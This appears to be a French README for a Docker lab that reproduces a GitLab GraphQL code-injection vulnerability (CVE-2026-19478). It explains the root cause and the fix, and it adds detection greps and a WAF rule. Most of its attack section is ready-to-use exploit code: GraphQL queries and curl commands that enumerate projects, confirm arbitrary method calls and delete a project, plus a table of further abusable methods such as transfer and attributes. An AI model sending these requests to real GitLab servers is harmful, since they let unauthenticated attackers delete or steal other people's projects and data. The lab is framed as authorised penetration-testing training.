Lab d'exploit dockerisé et script pour CVE-2026-19478, une injection de code critique non authentifiée dans GitLab GraphQL permettant des appels de méthodes Ruby arbitraires, la suppression de projets et l'exfiltration de données.
Injection de code à distance non authentifiée via une directive GraphQL dans GitLab CE/EE — Supprimez n'importe quel projet public avec une seule requête HTTP
Un laboratoire de test d'intrusion pratique qui reproduit CVE-2026-19478, une vulnérabilité critique (CVSS 9.4) dans l'API GraphQL de GitLab. La directive @gl_introduced permet à des attaquants non authentifiés d'exécuter des méthodes Ruby arbitraires sur des objets côté serveur — y compris la suppression de projets, l'exfiltration de données et le transfert de propriété — sans aucune authentification.
Ce laboratoire exécute une vraie instance vulnérable GitLab CE 19.2.0 dans Docker pour une pratique d'exploitation réaliste.
| Champ | Valeur |
|---|---|
| Identifiant CVE | CVE-2026-19478 |
| Score CVSS | 9.4 (Critique) |
| Produit | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| Type de vulnérabilité | Injection de code / Exécution de méthode arbitraire (CWE-94) |
| Vecteur d'attaque | Réseau (à distance) |
| Authentification | Aucune requise |
| Interaction utilisateur | Aucune |
| Complexité de l'attaque | Faible |
| Versions affectées | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| Versions corrigées | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Découvert par | hiimguardian (via HackerOne) |
| Date du correctif | 17 août 2026 |
Un attaquant distant non authentifié peut :
GitLab utilise une directive GraphQL personnalisée @gl_introduced(version: "X.Y") pour prendre en charge les déploiements progressifs. Lorsqu'une version plus récente de GitLab ajoute un champ à l'API GraphQL, les anciennes instances gèrent les requêtes référençant ces nouveaux champs avec élégance en renvoyant null au lieu de générer une erreur.
Fichier : lib/gitlab/graphql/version_filter/future_field_fallback.rb (lignes 14-36)
Analyse étape par étape :
FutureFieldFilter analyse les requêtes GraphQL entrantes. Lorsqu'un champ possède @gl_introduced(version) avec une version plus récente que celle du serveur actuel, il supprime le champ et définit context[:contain_future_fields] = true.
IntroducedTracer restaure le document de requête d'origine au moment de l'exécution, en réinsérant les champs supprimés dans l'AST.
FutureFieldFallback#get_field intercepte chaque recherche de champ pendant l'exécution. Il vérifie trois conditions :
contain_future_fields est-il défini ? ✅__ ? ✅Lorsque les trois vérifications réussissent, il synthétise un nouveau GraphQL::Schema::Field sans classe de résolveur.
Dans graphql-ruby, un champ sans résolveur se résout en appelant object.public_send(field_name) sur l'objet Ruby sous-jacent — convertissant le nom de champ de l'attaquant en un appel de méthode arbitraire sur le modèle ActiveRecord Project.
Le correctif de GitLab remplace la distribution de méthode implicite par un NilResolver explicite qui renvoie nil inconditionnellement, préservant la compatibilité des déploiements progressifs tout en éliminant l'exécution de méthode arbitraire :
# AVANT (vulnérable) — aucun résolveur → distribution de méthode
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← APPEL DE MÉTHODE ARBITRAIRE
# APRÈS (corrigé) — NilResolver explicite
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← renvoie toujours nil
ATTAQUANT (non authentifié)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ API GraphQL GitLab │
│ (aucune authentification) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" a @gl_introduced │
│ version 99.0 > 19.2.0 │
│ → Supprime le champ │
│ → Définit contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restaure la requête d'origine │
│ "destroy" est de retour dans l'AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" absent du schéma ? ✓ │
│ Drapeau défini ? ✓ │
│ Pas __introspection ? ✓ │
│ → Synthétise le champ │
│ → AUCUN RÉSOLVEUR attaché │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. Résolution graphql-ruby │
│ Aucun résolveur trouvé → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJET SUPPRIMÉ ██ │
└──────────────────────────────┘
curl / httpie pour tester l'API# Clonez ou accédez au répertoire du laboratoire
cd CVE-2026-19478
# Téléchargez et démarrez l'instance GitLab vulnérable
docker compose up -d
# Attendez que GitLab démarre complètement (3 à 5 minutes au premier démarrage)
# Surveillez la progression du démarrage :
docker logs -f gitlab-vulnerable
# Une fois que vous voyez "gitlab Reconfigured!" dans les journaux, configurez les projets de test :
bash setup-lab.sh
| Service | URL | Identifiants |
|---|---|---|
| Interface web GitLab | http://localhost | root / P@ssw0rd123! |
| API GraphQL | http://localhost/api/graphql | Aucun requis |
| Explorateur GraphQL | http://localhost/-/graphql-explorer | Connexion requise |
| SSH | localhost:2222 | — |
Pour les machines avec des ressources limitées ou pour un démarrage plus rapide :
docker compose -f docker-compose.simulated.yml up --build -d
# Accès sur http://localhost:5000
# Arrêter le laboratoire
docker compose down
# Réinitialisation complète (supprime tous les volumes de données)
docker compose down -v
Vérifiez la version du serveur :
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}
Énumérez les projets publics via GraphQL (sans authentification) :
{
projects(membership: false) {
nodes {
id
name
fullPath
visibility
}
}
}
Découvrez la directive @gl_introduced via l'introspection du schéma :
{
__schema {
directives {
name
description
args { name type { name } }
locations
}
}
}
Utilisez @gl_introduced avec une version future sur un champ qui n'existe pas dans le schéma :
{
project(fullPath: "root/pwnsystem") {
name
class @gl_introduced(version: "99.0")
}
}
Si la vulnérabilité est présente, class renvoie le nom de la classe Ruby ("Project"), confirmant la distribution de méthode arbitraire.
{
project(fullPath: "root/pwnsystem") {
name
object_id @gl_introduced(version: "99.0")
to_s @gl_introduced(version: "99.0")
}
}
ATTENTION : Ce qui suit supprimera définitivement le projet.
{
project(fullPath: "root/pwnsystem") {
name
destroy @gl_introduced(version: "99.0")
}
}
Autres méthodes exploitables sur le modèle Project de GitLab :
| Méthode | Impact |
|---|---|
destroy | Supprime définitivement le projet |
archive | Archive le projet |
transfer | Transfère la propriété du projet |
attributes | Extrait tous les attributs de la base de données |
repository | Accède à l'objet du dépôt |
members | Liste les membres du projet |
# Énumérer les projets publics
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq
# Vérifier la distribution de méthode arbitraire
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq
# Supprimer un projet (DESTRUCTEUR)
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq
# Recherchez les tentatives d'exploitation dans les journaux de production GitLab
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log
# Recherchez les numéros de version élevés (signature d'exploitation)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
awk -F. '$1 > 20 {print}'
| Indicateur | Description |
|---|---|
@gl_introduced(version: "99.0") | Tentative d'exploitation avec une version irréalistement élevée |
Noms de champs : destroy, delete, update, transfer | Ciblage de méthodes ActiveRecord destructrices |
| Suppressions de projets inattendues | Des projets disparaissent sans action d'administrateur |
| Changements de visibilité | Des projets publics deviennent soudainement privés |
| Transferts de propriété | Des projets transférés à des utilisateurs inconnus |
Bloquez les requêtes GraphQL contenant @gl_introduced avec des numéros de version élevés :
# Règle WAF Nginx
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
return 403;
}
@gl_introduced avec des chaînes de version élevées au niveau du proxy inverse/WAFCe laboratoire est conçu exclusivement pour la formation autorisée en sécurité et l'entraînement aux tests d'intrusion. Il ne doit être utilisé que dans des environnements contrôlés et isolés que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test.
N'utilisez pas les techniques, outils ou codes d'exploitation de ce laboratoire contre un système sans autorisation appropriée. L'accès non autorisé à des systèmes informatiques est illégal en vertu de la loi Computer Fraud and Abuse Act (CFAA) et des lois équivalentes dans le monde entier.
Les auteurs et contributeurs ne sont pas responsables de tout usage abusif ou dommage causé par ce laboratoire ou son contenu.
Suivez @pwnsystem sur Instagram pour des conseils quotidiens en cybersécurité, des analyses de CVE et des tutoriels d'exploitation.
Connectez-vous avec Punit Darji sur LinkedIn pour des informations professionnelles en sécurité et des mises à jour du laboratoire.